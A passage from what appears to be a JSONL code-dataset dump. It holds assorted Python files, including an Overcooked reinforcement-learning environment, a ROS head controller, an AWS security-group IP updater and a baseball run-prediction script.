range(1, m):\n if matrix[i][j] == 0:\n matrix[i][0] = 0\n matrix[0][j] = 0\n\n for i in range(1, n):\n for j in range(1, m):\n if matrix[i][0] == 0 or matrix[0][j] == 0:\n matrix[i][j] = 0\n\n if col_flag:\n for i in range(n):\n matrix[i][0] = 0\n\n if row_flag:\n for j in range(m):\n matrix[0][j] = 0","sub_path":"datastructure/Array_and_string/SetZeroes.py","file_name":"SetZeroes.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"537856093","text":"import gym, tqdm\nimport numpy as np\nfrom overcooked_ai_py.utils import mean_and_std_err, merge_dictionaries\nfrom overcooked_ai_py.mdp.actions import Action\nfrom overcooked_ai_py.mdp.overcooked_mdp import OvercookedGridworld\n\n\nDEFAULT_ENV_PARAMS = {\n \"horizon\": 400\n}\n\nMAX_HORIZON = 1e10\n\nclass OvercookedEnv(object):\n \"\"\"An environment wrapper for the OvercookedGridworld Markov Decision Process.\n\n The environment keeps track of the current state of the agent, updates\n it as the agent takes actions, and provides rewards to the agent.\n \"\"\"\n\n def __init__(self, mdp, start_state_fn=None, horizon=MAX_HORIZON, debug=False):\n \"\"\"\n mdp (OvercookedGridworld or function): either an instance of the MDP or a function that returns MDP instances \n start_state_fn (OvercookedState): function that returns start state for the MDP, called at each environment reset\n horizon (float): number of steps before the environment returns done=True\n \"\"\"\n if isinstance(mdp, OvercookedGridworld):\n self.mdp_generator_fn = lambda: mdp\n self.variable_mdp = True\n elif callable(mdp) and isinstance(mdp(), OvercookedGridworld):\n self.mdp_generator_fn = mdp\n self.variable_mdp = False\n else:\n raise ValueError(\"Mdp should be either OvercookedGridworld instance or a generating function\")\n \n self.horizon = horizon\n self.start_state_fn = start_state_fn\n self.reset()\n if self.horizon >= MAX_HORIZON and self.state.order_list is None and debug:\n print(\"Environment has (near-)infinite horizon and no terminal states\")\n\n def __repr__(self):\n \"\"\"Standard way to view the state of an environment programatically\n is just to print the Env object\"\"\"\n return self.mdp.state_string(self.state)\n\n def print_state_transition(self, a_t, r_t, info):\n print(\"Timestep: {}\\nJoint action taken: {} \\t Reward: {} + shape * {} \\n{}\\n\".format(\n self.t, tuple(Action.ACTION_TO_CHAR[a] for a in a_t), r_t, info[\"shaped_r\"], self)\n )\n\n @property\n def env_params(self):\n return {\n \"start_state_fn\": self.start_state_fn,\n \"horizon\": self.horizon\n }\n\n def display_states(self, *states):\n old_state = self.state\n for s in states:\n self.state = s\n print(self)\n self.state = old_state\n\n @staticmethod\n def print_state(mdp, s):\n e = OvercookedEnv(mdp, s)\n print(e)\n\n def copy(self):\n return OvercookedEnv(\n mdp=self.mdp.copy(),\n start_state_fn=self.start_state_fn,\n horizon=self.horizon\n )\n\n def step(self, joint_action):\n \"\"\"Performs a joint action, updating the environment state\n and providing a reward.\n \n On being done, stats about the episode are added to info:\n ep_sparse_r: the environment sparse reward, given only at soup delivery\n ep_shaped_r: the component of the reward that is due to reward shaped (excluding sparse rewards)\n ep_length: length of rollout\n \"\"\"\n assert not self.is_done()\n next_state, sparse_reward, reward_shaping = self.mdp.get_state_transition(self.state, joint_action)\n self.cumulative_sparse_rewards += sparse_reward\n self.cumulative_shaped_rewards += reward_shaping\n self.state = next_state\n self.t += 1\n done = self.is_done()\n info = {'shaped_r': reward_shaping}\n if done:\n info['episode'] = {\n 'ep_sparse_r': self.cumulative_sparse_rewards,\n 'ep_shaped_r': self.cumulative_shaped_rewards,\n 'ep_length': self.t\n }\n return (next_state, sparse_reward, done, info)\n\n def reset(self):\n \"\"\"Resets the environment. Does NOT reset the agent.\"\"\"\n self.mdp = self.mdp_generator_fn()\n if self.start_state_fn is None:\n self.state = self.mdp.get_standard_start_state()\n else:\n self.state = self.start_state_fn()\n self.cumulative_sparse_rewards = 0\n self.cumulative_shaped_rewards = 0\n self.t = 0\n\n def is_done(self):\n \"\"\"Whether the episode is over.\"\"\"\n return self.t >= self.horizon or self.mdp.is_terminal(self.state)\n\n def execute_plan(self, start_state, joint_action_plan, display=False):\n \"\"\"Executes action_plan (a list of joint actions) from a start \n state in the mdp and returns the resulting state.\"\"\"\n self.state = start_state\n done = False\n if display: print(\"Starting state\\n{}\".format(self))\n for joint_action in joint_action_plan:\n self.step(joint_action)\n done = self.is_done()\n if display: print(self)\n if done: break\n successor_state = self.state\n self.reset()\n return successor_state, done\n\n def run_agents(self, agent_pair, include_final_state=False, display=False, display_until=np.Inf):\n \"\"\"\n Trajectory returned will a list of state-action pairs (s_t, joint_a_t, r_t, done_t, info_t).\n \"\"\"\n assert self.cumulative_sparse_rewards == self.cumulative_shaped_rewards == 0, \\\n \"Did not reset environment before running agents\"\n trajectory = []\n done = False\n\n if display: print(self)\n while not done:\n s_t = self.state\n\n # Getting actions and action infos (optional) for both agents\n joint_action_and_infos = agent_pair.joint_action(s_t)\n a_t, a_info_t = zip(*joint_action_and_infos)\n assert all(a in Action.ALL_ACTIONS for a in a_t)\n assert all(type(a_info) is dict for a_info in a_info_t)\n\n s_tp1, r_t, done, info = self.step(a_t)\n info[\"agent_infos\"] = a_info_t\n trajectory.append((s_t, a_t, r_t, done, info))\n\n if display and self.t < display_until:\n self.print_state_transition(a_t, r_t, info)\n\n assert len(trajectory) == self.t, \"{} vs {}\".format(len(trajectory), self.t)\n\n # Add final state\n if include_final_state:\n trajectory.append((s_tp1, (None, None), 0, True, None))\n\n return np.array(trajectory), self.t, self.cumulative_sparse_rewards, self.cumulative_shaped_rewards\n\n def get_rollouts(self, agent_pair, num_games, display=False, final_state=False, agent_idx=0, reward_shaping=0.0, display_until=np.Inf, info=True, metadata_fn=lambda x: {}):\n \"\"\"\n Simulate `num_games` number rollouts with the current agent_pair and returns processed \n trajectories.\n\n Only returns the trajectories for one of the agents (the actions _that_ agent took), \n namely the one indicated by `agent_idx`.\n\n Returning excessive information to be able to convert trajectories to any required format \n (baselines, stable_baselines, etc)\n\n metadata_fn returns some metadata information computed at the end of each trajectory based on\n some of the trajectory data.\n\n NOTE: standard trajectories format used throughout the codebase\n \"\"\"\n trajectories = {\n # With shape (n_timesteps, game_len), where game_len might vary across games:\n \"ep_observations\": [],\n \"ep_actions\": [],\n \"ep_rewards\": [], # Individual dense (= sparse + shaped * rew_shaping) reward values\n \"ep_dones\": [], # Individual done values\n \"ep_infos\": [],\n\n # With shape (n_episodes, ):\n \"ep_returns\": [], # Sum of sparse rewards across each episode\n \"ep_lengths\": [], # Lengths of each episode\n \"mdp_params\": [], # Custom MDP params to for each episode\n \"env_params\": [], # Custom Env params for each episode\n\n # Custom metadata key value pairs\n \"metadatas\": [] # Final data type is a dictionary of similar format to trajectories\n }\n\n range_fn = tqdm.trange if info else range\n for i in range_fn(num_games):\n agent_pair.set_mdp(self.mdp)\n\n rollout_info = self.run_agents(agent_pair, display=display, include_final_state=final_state, display_until=display_until)\n trajectory, time_taken, tot_rews_sparse, tot_rews_shaped = rollout_info\n obs, actions, rews, dones, infos = trajectory.T[0], trajectory.T[1], trajectory.T[2], trajectory.T[3], trajectory.T[4]\n trajectories[\"ep_observations\"].append(obs)\n trajectories[\"ep_actions\"].append(actions)\n trajectories[\"ep_rewards\"].append(rews)\n trajectories[\"ep_dones\"].append(dones)\n trajectories[\"ep_infos\"].append(infos)\n trajectories[\"ep_returns\"].append(tot_rews_sparse)\n trajectories[\"ep_lengths\"].append(time_taken)\n trajectories[\"mdp_params\"].append(self.mdp.mdp_params)\n trajectories[\"env_params\"].append(self.env_params)\n trajectories[\"metadatas\"].append(metadata_fn(rollout_info))\n\n self.reset()\n agent_pair.reset()\n\n mu, se = mean_and_std_err(trajectories[\"ep_returns\"])\n if info: print(\"Avg reward {:.2f} (std: {:.2f}, se: {:.2f}) over {} games of avg length {}\".format(\n mu, np.std(trajectories[\"ep_returns\"]), se, num_games, np.mean(trajectories[\"ep_lengths\"]))\n )\n\n # Converting to numpy arrays\n trajectories = {k: np.array(v) for k, v in trajectories.items()}\n\n # Merging all metadata dictionaries, assumes same keys throughout all\n trajectories[\"metadatas\"] = merge_dictionaries(trajectories[\"metadatas\"])\n\n # TODO: should probably transfer check methods over to Env class\n from overcooked_ai_py.agents.benchmarking import AgentEvaluator\n AgentEvaluator.check_trajectories(trajectories)\n return trajectories\n\n @staticmethod\n def get_agent_infos_for_trajectories(trajectories, agent_idx):\n \"\"\"\n Returns a dictionary of the form\n {\n \"[agent_info_0]\": [ [episode_values], [], ... ],\n \"[agent_info_1]\": [ [], [], ... ],\n ...\n }\n with as keys the keys returned by the agent in it's agent_info dictionary\n \"\"\"\n agent_infos = []\n for traj_idx in range(len(trajectories[\"ep_lengths\"])):\n ep_infos = trajectories[\"ep_infos\"][traj_idx]\n traj_agent_infos = [step_info[\"agent_infos\"][agent_idx] for step_info in ep_infos]\n\n # Append all dictionaries together\n traj_agent_infos = merge_dictionaries(traj_agent_infos)\n agent_infos.append(traj_agent_infos)\n \n # Append all dictionaries together once again\n agent_infos = merge_dictionaries(agent_infos)\n agent_infos = {k: np.array(v) for k, v in agent_infos.items()}\n return agent_infos\n\n @staticmethod\n def proportion_stuck_time(trajectories, agent_idx, stuck_time=3):\n stuck_matrix = []\n for traj_idx in range(len(trajectories[\"ep_lengths\"])):\n stuck_matrix.append([])\n obs = trajectories[\"ep_observations\"][traj_idx]\n for traj_timestep in range(stuck_time, trajectories[\"ep_lengths\"][traj_idx]):\n if traj_timestep >= stuck_time:\n recent_states = obs[traj_timestep - stuck_time : traj_timestep + 1]\n recent_player_pos_and_or = [s.players[agent_idx].pos_and_or for s in recent_states]\n \n if len({item for item in recent_player_pos_and_or}) == 1:\n # If there is only one item in the last stuck_time steps, then we classify the agent as stuck\n stuck_matrix[traj_idx].append(True)\n else:\n stuck_matrix[traj_idx].append(False)\n else:\n stuck_matrix[traj_idx].append(False)\n return stuck_matrix\n\n\nclass Overcooked(gym.Env):\n \"\"\"\n Wrapper for the Env class above that is SOMEWHAT compatible with the standard gym API.\n\n NOTE: Observations returned are in a dictionary format with various information that is\n necessary to be able to handle the multi-agent nature of the environment. There are probably\n better ways to handle this, but we found this to work with minor modifications to OpenAI Baselines.\n \n NOTE: The index of the main agent in the mdp is randomized at each reset of the environment, and \n is kept track of by the self.agent_idx attribute. This means that it is necessary to pass on this \n information in the output to know for which agent index featurizations should be made for other agents.\n \n For example, say one is training A0 paired with A1, and A1 takes a custom state featurization.\n Then in the runner.py loop in OpenAI Baselines, we will get the lossless encodings of the state,\n and the true Overcooked state. When we encode the true state to feed to A1, we also need to know\n what agent index it has in the environment (as encodings will be index dependent).\n \"\"\"\n\n def custom_init(self, base_env, featurize_fn, baselines_reproducible=False):\n \"\"\"\n base_env: OvercookedEnv\n featurize_fn(mdp, state): fn used to featurize states returned in the 'both_agent_obs' field\n \"\"\"\n if baselines_reproducible:\n # NOTE: To prevent the randomness of choosing agent indexes\n # from leaking when using subprocess-vec-env in baselines (which \n # seeding does not) reach, we set the same seed internally to all\n # environments. The effect is negligible, as all other randomness\n # is controlled by the actual run seeds\n np.random.seed(0)\n self.base_env = base_env\n self.featurize_fn = featurize_fn\n self.observation_space = self._setup_observation_space()\n self.action_space = gym.spaces.Discrete(len(Action.ALL_ACTIONS))\n self.reset()\n\n def _setup_observation_space(self):\n dummy_mdp = self.base_env.mdp\n dummy_state = dummy_mdp.get_standard_start_state()\n obs_shape = self.featurize_fn(dummy_mdp, dummy_state)[0].shape\n high = np.ones(obs_shape) * max(dummy_mdp.soup_cooking_time, dummy_mdp.num_items_for_soup, 5)\n return gym.spaces.Box(high * 0, high, dtype=np.float32)\n\n def step(self, action):\n \"\"\"\n action: \n (agent with index self.agent_idx action, other agent action)\n is a tuple with the joint action of the primary and secondary agents in index format\n \n returns:\n observation: formatted to be standard input for self.agent_idx's policy\n \"\"\"\n assert all(self.action_space.contains(a) for a in action), \"%r (%s) invalid\"%(action, type(action))\n agent_action, other_agent_action = [Action.INDEX_TO_ACTION[a] for a in action]\n\n if self.agent_idx == 0:\n joint_action = (agent_action, other_agent_action)\n else:\n joint_action = (other_agent_action, agent_action)\n\n next_state, reward, done, info = self.base_env.step(joint_action)\n ob_p0, ob_p1 = self.featurize_fn(self.mdp, next_state)\n if self.agent_idx == 0:\n both_agents_ob = (ob_p0, ob_p1)\n else:\n both_agents_ob = (ob_p1, ob_p0)\n \n obs = {\"both_agent_obs\": both_agents_ob,\n \"overcooked_state\": next_state,\n \"other_agent_env_idx\": 1 - self.agent_idx}\n return obs, reward, done, info\n\n def reset(self):\n \"\"\"\n When training on individual maps, we want to randomize which agent is assigned to which\n starting location, in order to make sure that the agents are trained to be able to \n complete the task starting at either of the hardcoded positions.\n\n NOTE: a nicer way to do this would be to just randomize starting positions, and not\n have to deal with randomizing indices.\n \"\"\"\n self.base_env.reset()\n self.mdp = self.base_env.mdp\n self.agent_idx = np.random.choice([0, 1])\n ob_p0, ob_p1 = self.featurize_fn(self.mdp, self.base_env.state)\n\n if self.agent_idx == 0:\n both_agents_ob = (ob_p0, ob_p1)\n else:\n both_agents_ob = (ob_p1, ob_p0)\n return {\"both_agent_obs\": both_agents_ob, \n \"overcooked_state\": self.base_env.state, \n \"other_agent_env_idx\": 1 - self.agent_idx}\n\n def render(self, mode='human', close=False):\n pass\n","sub_path":"overcooked_ai_py/mdp/overcooked_env.py","file_name":"overcooked_env.py","file_ext":"py","file_size_in_byte":16631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"85788218","text":"from x2_06_stackwithqueue import StackWithQueue\n\n\n\ndef test_StackWithQueue():\n stack = StackWithQueue()\n stack.push(1)\n stack.push(2)\n stack.push(3)\n item = stack.pop()\n assert item == 3\n assert stack.top() == 2\n","sub_path":"bradfield/test_x2_06_stackwithqueue.py","file_name":"test_x2_06_stackwithqueue.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"539891191","text":"def fibonacci():\n a = 1\n b = 2\n yield a\n yield b\n while True:\n yield a + b\n a, b = b, a + b\n\ntotal = 0\nfor n in fibonacci():\n if n > 4000000:\n break\n if n % 2 == 0:\n total += n\nprint(total)\n","sub_path":"python/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"253103625","text":"#!/usr/bin/python\n#-*- encoding: utf8 -*-\n\nimport sys\nimport rospy\nimport tf2_ros\nimport threading\nimport math\n\nfrom std_msgs.msg import Float64, Bool\nfrom tf2_geometry_msgs import PointStamped\nfrom tf.transformations import euler_from_quaternion, quaternion_from_euler\n\n\nclass HeadPanController:\n def __init__(self):\n self.lock = threading.RLock()\n self.tf_buf = tf2_ros.Buffer()\n self.listener = tf2_ros.TransformListener(self.tf_buf)\n self.prev_head_pan = 0.0\n self.enable_gaze_sync = True\n\n self.result_pan_angle = 0.0\n self.result_tilt_angle = 0.0\n\n self.sub_gaze_sync = rospy.Subscriber('set_gaze_sync', Bool, self.handle_set_gaze_sync)\n self.sub_gaze_target = rospy.Subscriber('set_gaze_target', PointStamped, self.handle_set_gaze_target)\n\n self.pub_head_pan = rospy.Publisher('/head/pan_controller/command', Float64, queue_size=10)\n self.pub_head_tilt = rospy.Publisher('/head/tilt_controller/command', Float64, queue_size=10)\n\n with self.lock:\n self.head_target_point = PointStamped()\n self.head_target_point.header.frame_id = \"base_footprint\"\n self.head_target_point.point.x = 2.0\n self.head_target_point.point.y = 0.0\n self.head_target_point.point.z = 1.291\n\n rospy.Timer(rospy.Duration(0.02), self.handle_head_controller)\n rospy.loginfo('[%s] initialzed...' % rospy.get_name())\n\n def handle_set_gaze_sync(self, msg):\n with self.lock:\n self.enable_gaze_sync = msg.data\n\n if msg.data:\n self.head_target_point = PointStamped()\n self.head_target_point.header.frame_id = \"base_footprint\"\n self.head_target_point.point.x = 2.0\n self.head_target_point.point.y = 0.0\n self.head_target_point.point.z = 1.291\n\n def handle_set_gaze_target(self, msg):\n with self.lock:\n self.head_target_point = msg\n\n try:\n self.head_target_point.header.stamp = rospy.Time()\n point_transformed1 = self.tf_buf.transform(self.head_target_point, 'body_assy')\n point_transformed2 = self.tf_buf.transform(self.head_target_point, 'gaze_link')\n except (tf2_ros.LookupException, tf2_ros.ConnectivityException, tf2_ros.ExtrapolationException):\n rospy.logdebug(\"warn for lookup transform.\")\n return\n\n self.result_pan_angle = math.atan2(point_transformed1.point.y, point_transformed1.point.x)\n self.result_tilt_angle = -1.0 * math.atan2(point_transformed2.point.z, point_transformed2.point.x)\n if self.result_tilt_angle < 0:\n self.result_tilt_angle = 0.0\n elif self.result_tilt_angle > 0.6:\n self.result_tilt_angle = 0.6\n\n def handle_head_controller(self, event):\n with self.lock:\n try:\n self.head_target_point.header.stamp = rospy.Time()\n point_transformed1 = self.tf_buf.transform(self.head_target_point, 'body_assy')\n except (tf2_ros.LookupException, tf2_ros.ConnectivityException, tf2_ros.ExtrapolationException):\n rospy.logdebug(\"warn for lookup transform.\")\n return\n self.result_pan_angle = math.atan2(point_transformed1.point.y, point_transformed1.point.x)\n\n if math.copysign(1, self.result_pan_angle) != math.copysign(1, self.prev_head_pan):\n if math.fabs(self.result_pan_angle) > math.pi/2:\n self.result_pan_angle = self.result_pan_angle + (math.copysign(1, self.prev_head_pan) * math.pi * 2)\n\n if not self.enable_gaze_sync:\n self.pub_head_pan.publish(self.result_pan_angle)\n self.pub_head_tilt.publish(self.result_tilt_angle)\n else:\n self.pub_head_pan.publish(0.0)\n self.prev_head_pan = self.result_pan_angle\n\n\nif __name__ == '__main__':\n rospy.init_node('head_pan_controller', anonymous=False)\n try:\n m = HeadPanController()\n rospy.spin()\n except rospy.ROSInterruptException: pass","sub_path":"living_lab_robot_control/src/head_pan_controller.py","file_name":"head_pan_controller.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"278513211","text":"'''\nCreated on 05.05.2014\n\n@author: ulrich1992\n'''\nimport forms\n\nclass MainFrame:\n def __init__(self, app):\n self.app = app\n self.frame = forms.MainFrame(None)\n \n \n def show(self):\n self.frame.Center()\n self.frame.Maximize()\n self.frame.Show()\n self.app.MainLoop()","sub_path":"src/opt/gui/mainframe.py","file_name":"mainframe.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"387419675","text":"\"\"\"\nThis file is used to configure the Octave ports (gain, switch_mode, down-conversion) and calibrate the up-conversion mixers.\n\"\"\"\nfrom set_octave import ElementsSettings, octave_settings\nfrom qm.QuantumMachinesManager import QuantumMachinesManager\nfrom configuration import *\n\n# Configure the Octave parameters for each element\nqe1 = ElementsSettings(\"qe1\", gain=0, rf_in_port=[\"octave1\", 1], down_convert_LO_source=\"Internal\")\nqe2 = ElementsSettings(\"qe2\", gain=-10, rf_in_port=[\"octave1\", 2], down_convert_LO_source=\"Dmd2LO\")\n# Add the \"octave\" elements\nelements_settings = [qe1, qe2]\n\n###################\n# Octave settings #\n###################\n# Configure the Octave according to the elements settings and calibrate\nqmm = QuantumMachinesManager(host=qop_ip, port=qop_port, octave=octave_config, log_level=\"ERROR\")\noctave_settings(\n qmm=qmm,\n config=config,\n octaves=octaves,\n elements_settings=elements_settings,\n calibration=True,\n)\nqmm.close()\n","sub_path":"Tutorials/intro-to-octave/octave_configuration.py","file_name":"octave_configuration.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"224786009","text":"from django.db import models\n\nclass Persona(models.Model):\n sexo = models.CharField(max_length=15)\n edad = models.IntegerField()\n sangre = models.CharField(max_length=2)\n\nclass Accidente(models.Model):\n fecha_hora = models.DateTimeField()\n latitud = models.DecimalField(max_digits=10,decimal_places=7)\n longitud = models.DecimalField(max_digits=10, decimal_places=7)\n personas = models.ManyToManyField(Persona)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"522952162","text":"a = int(input())\nb = int(input())\nc = int(input())\nl1=[]\nl2=[]\nsum1=0\nsum2=0\nfor i in range(a):\n\tele = int(input())\n\tele-=c\n\tl1.append(ele)\nfor i in range(b):\n\tele = int(input())\n\tele-=c\n\tl2.append(ele)\nfor i in l1:\n\tsum1 = sum1+i\nfor i in l2:\n\tsum2= sum2+i\nif sum1>sum2:\n\ttotal = (sum2-sum1)-c\n\tprint(total)\nelif sum1==sum2:\n\tprint(\"BALANCED\")\nelse:\n\ttotal = (sum1-sum2)-c\n\tprint(total)","sub_path":"TCS Question/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"647894889","text":"#!/usr/bin/env python3\n# I use this script to update my security group sg-9df995f8 with my current public IP. \n# It removes all the existing SSH and RDP access rules from the security group.\n\n__author__ = 'Shiroy'\n\nfrom boto3.session import Session\nfrom urllib.request import urlopen\nfrom re import findall\n\n\n# Find out my home public IP\n# url = \"http://checkip.dyndns.org\"\nurl = \"http://www.whatismypublicip.com/\"\nrequest = urlopen(url)\ndata = request.read()\nip_data = findall(b\"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.\\d{1,3}\", data)\n# regex to extract ip from the response data\n# ip_data = findall(b'[0-9]+(?:\\.[0-9]+){3}', data)\n# ip_data = findall(b'[\\d.-]+', data)\nip = str(ip_data[0]).split(\"'\")[1]\nmy_ip=ip+'/'+'32'\nprint('Current Public IP : ' + my_ip)\n\nsession = Session()\nec2=session.resource('ec2',region_name='eu-west-1')\n# ec2 = boto3.resource('ec2')\nsecurity_group = ec2.SecurityGroup('sg-9df995f8')\nprint('Security Group Name :' + security_group.group_name)\nfor current_rules in security_group.ip_permissions:\n print(current_rules)\n\n\nfor ingress in security_group.ip_permissions:\n\n\n if ingress['IpProtocol'] == 'tcp' and ingress['FromPort'] <= 22 and ingress['ToPort'] >= 22:\n for ipranges in ingress['IpRanges']:\n if ipranges['CidrIp'] != my_ip:\n print('Removing ingress SSH for unwanted/old IP....' + ipranges['CidrIp'])\n try:\n print(security_group.revoke_ingress(\n IpProtocol=ingress['IpProtocol'],\n FromPort=ingress['ToPort'],\n ToPort=ingress['ToPort'],\n CidrIp=ipranges['CidrIp']\n ))\n except Exception as e:\n print(e)\n\n if ingress['IpProtocol'] == 'tcp' and ingress['ToPort'] <= 3389 and ingress['ToPort'] >= 3389:\n for ipranges in ingress['IpRanges']:\n if ipranges['CidrIp'] != my_ip:\n print('Removing ingress RDP for unwanted/old IP....' + ipranges['CidrIp'])\n try:\n print(security_group.revoke_ingress(\n IpProtocol=ingress['IpProtocol'],\n FromPort=ingress['ToPort'],\n ToPort=ingress['ToPort'],\n CidrIp=ipranges['CidrIp']\n ))\n except Exception as e:\n print(e)\n\n\nprint('Adding ingress rule to allow SSH connections from Home IP....' + my_ip)\ntry:\n print(security_group.authorize_ingress(\n IpProtocol='tcp',\n FromPort=22,\n ToPort=22,\n CidrIp=my_ip\n ))\nexcept Exception as e:\n print(e)\n\nprint('Adding ingress rule to allow RDP connections from Home IP....' + my_ip)\ntry:\n print(security_group.authorize_ingress(\n IpProtocol='tcp',\n FromPort=3389,\n ToPort=3389,\n CidrIp=my_ip\n ))\nexcept Exception as e:\n print(e)\n\nprint('The current set of rules is as follows.....')\nfor new_rules in security_group.ip_permissions:\n print(new_rules)\n","sub_path":"update_my_public_ip.py","file_name":"update_my_public_ip.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"502051702","text":"import numpy as np\r\nimport pandas as pd\r\nimport math\r\nfrom pygam import LinearGAM, ExpectileGAM, PoissonGAM, GammaGAM, LogisticGAM, InvGaussGAM, s , te, f, GAM\r\nfrom sklearn import tree\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.ensemble import GradientBoostingRegressor\r\n\r\nall_headers = ['Date','Tm',\t'G','PA','AB',\t'H','1B','2B','3B','HR','RBI','BB',\t'IBB','SO',\t'HBP',\t'SF',\t'SH',\t'GDP',\t'SB',\t'CS',\t'AVG',\t'BB%',\t'K%',\t'BB/K',\t'OBP',\t'SLG',\t'OPS',\t'ISO',\t'BABIP','wRC',\t'wRAA',\t'wOBA',\t'wRC+',\t'GB/FB','LD%',\t'GB%',\t'FB%',\t'IFFB%','HR/FB','IFH%',\t'BUH%',\t'Pull%','Cent%','Oppo%','Soft%','Med%','Hard%','R']\r\nsubset_headers = ['Date','Tm',\t'G','PA','AB',\t'H','1B','2B','3B','HR','RBI','BB',\t'IBB','SO',\t'HBP',\t'SF',\t'SH',\t'GDP',\t'SB',\t'CS',\t'AVG',\t'BB%',\t'K%',\t'BB/K',\t'OBP',\t'SLG',\t'OPS',\t'ISO',\t'BABIP','wRC',\t'wRAA',\t'wOBA',\t'wRC+',\t'GB/FB','LD%',\t'GB%',\t'FB%',\t'IFFB%','HR/FB','IFH%',\t'BUH%',\t'Pull%','Cent%','Oppo%','Soft%','Med%','Hard%']\r\ndata = pd.read_csv('b_data_all.csv',header=None,names=all_headers)\r\n\r\n\r\nall_headers_pitchers = ['Date','Name','Tm','IP','TBF','ERA','H','2B','3B','R','ER','HR','BB','IBB','HBP','SO','AVG','OBP','SLG','wOBA','playerId']\r\nsubset_headers_pitchers = ['Date','Tm','Name','R']\r\ndata_pitchers = pd.read_csv('pitchers.csv',header=None,names=all_headers_pitchers)\r\n\r\n\r\n\r\n\r\n\r\n\r\n#last game data to predict next game\r\ndef gam_score_outputs1(subset_headers,data1,data2,b1,b2):\r\n y1 = np.zeros(len(b1)-1)\r\n for i in range(len(b1)-1):\r\n y1[i] = b1[i+1]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n X1 = data1[0:-1,:]\r\n gam1 = GAM().fit(X1, y1)\r\n X1_predictor = data1[-1,:]\r\n \r\n\r\n R1_prediction = gam1.predict(X1_predictor.reshape(1,len(subset_headers)-2))[0]\r\n if R1_prediction<0:\r\n R1_prediction = 0\r\n \r\n y2 = np.zeros(len(b2)-1)\r\n for i in range(len(b2)-1):\r\n y2[i] = b2[i+1]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n X2 = data2[0:-1,:]\r\n gam2 = GAM().fit(X2, y2)\r\n X2_predictor = data2[-1,:]\r\n R2_prediction = gam2.predict(X2_predictor.reshape(1,len(subset_headers)-2))[0]\r\n if R2_prediction<0:\r\n R2_prediction = 0\r\n return R1_prediction,R2_prediction\r\n\r\n#average of last 3 games' data to predict next game\r\ndef gam_score_outputs3(subset_headers,data1,data2,b1,b2):\r\n y1 = np.zeros(len(b1)-3)\r\n for i in range(len(b1)-3):\r\n y1[i] = b1[i+3]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n\r\n X1 = np.zeros(len(y1)*(len(subset_headers)-2)).reshape(len(y1),len(subset_headers)-2)\r\n for i in range(len(y1)):\r\n for j in range(len(subset_headers)-2):\r\n X1[i,j] = np.average(data1[i:i+3,j])\r\n \r\n gam1 = GAM().fit(X1, y1)\r\n X1_predictor = np.zeros(len(subset_headers)-2)\r\n for i in range(len(subset_headers)-2):\r\n X1_predictor[i] = np.average(data1[-3:,i])\r\n \r\n R1_prediction = gam1.predict(X1_predictor.reshape(1,len(subset_headers)-2))[0]\r\n if R1_prediction<0:\r\n R1_prediction = 0\r\n \r\n \r\n y2 = np.zeros(len(b2)-3)\r\n for i in range(len(b2)-3):\r\n y2[i] = b2[i+3]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n X2 = np.zeros(len(y2)*(len(subset_headers)-2)).reshape(len(y2),len(subset_headers)-2)\r\n for i in range(len(y2)):\r\n for j in range(len(subset_headers)-2):\r\n X2[i,j] = np.average(data2[i:i+3,j])\r\n\r\n gam2 = GAM().fit(X2, y2)\r\n X2_predictor = np.zeros(len(subset_headers)-2)\r\n for i in range(len(subset_headers)-2):\r\n X2_predictor[i] = np.average(data2[-3:,i])\r\n\r\n R2_prediction = gam2.predict(X2_predictor.reshape(1,len(subset_headers)-2))[0]\r\n if R2_prediction<0:\r\n R2_prediction = 0\r\n \r\n \r\n return R1_prediction,R2_prediction\r\n\r\n\r\n\r\n\r\n#last game data to predict next game\r\ndef gbm_score_outputs1(subset_headers,data1,data2,b1,b2):\r\n y1 = np.zeros(len(b1)-1)\r\n for i in range(len(b1)-1):\r\n y1[i] = b1[i+1]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n X1 = data1[0:-1,:]\r\n \r\n model1 = GradientBoostingRegressor(n_estimators=300,learning_rate=.01,max_depth=2)\r\n model1.fit(X1,y1)\r\n \r\n X1_predictor = data1[-1,:]\r\n\r\n R1_prediction = model1.predict(X1_predictor.reshape(1,-1))\r\n if R1_prediction<0:\r\n R1_prediction = 0\r\n \r\n y2 = np.zeros(len(b2)-1)\r\n for i in range(len(b2)-1):\r\n y2[i] = b2[i+1]\r\n #A1 = np.zeros((len(subset_headers)-2)*6).reshape(6,len(subset_headers)-2)\r\n X2 = data2[0:-1,:]\r\n \r\n model2 = GradientBoostingRegressor(n_estimators=300,learning_rate=.01,max_depth=2)\r\n model2.fit(X2,y2)\r\n\r\n \r\n X2_predictor = 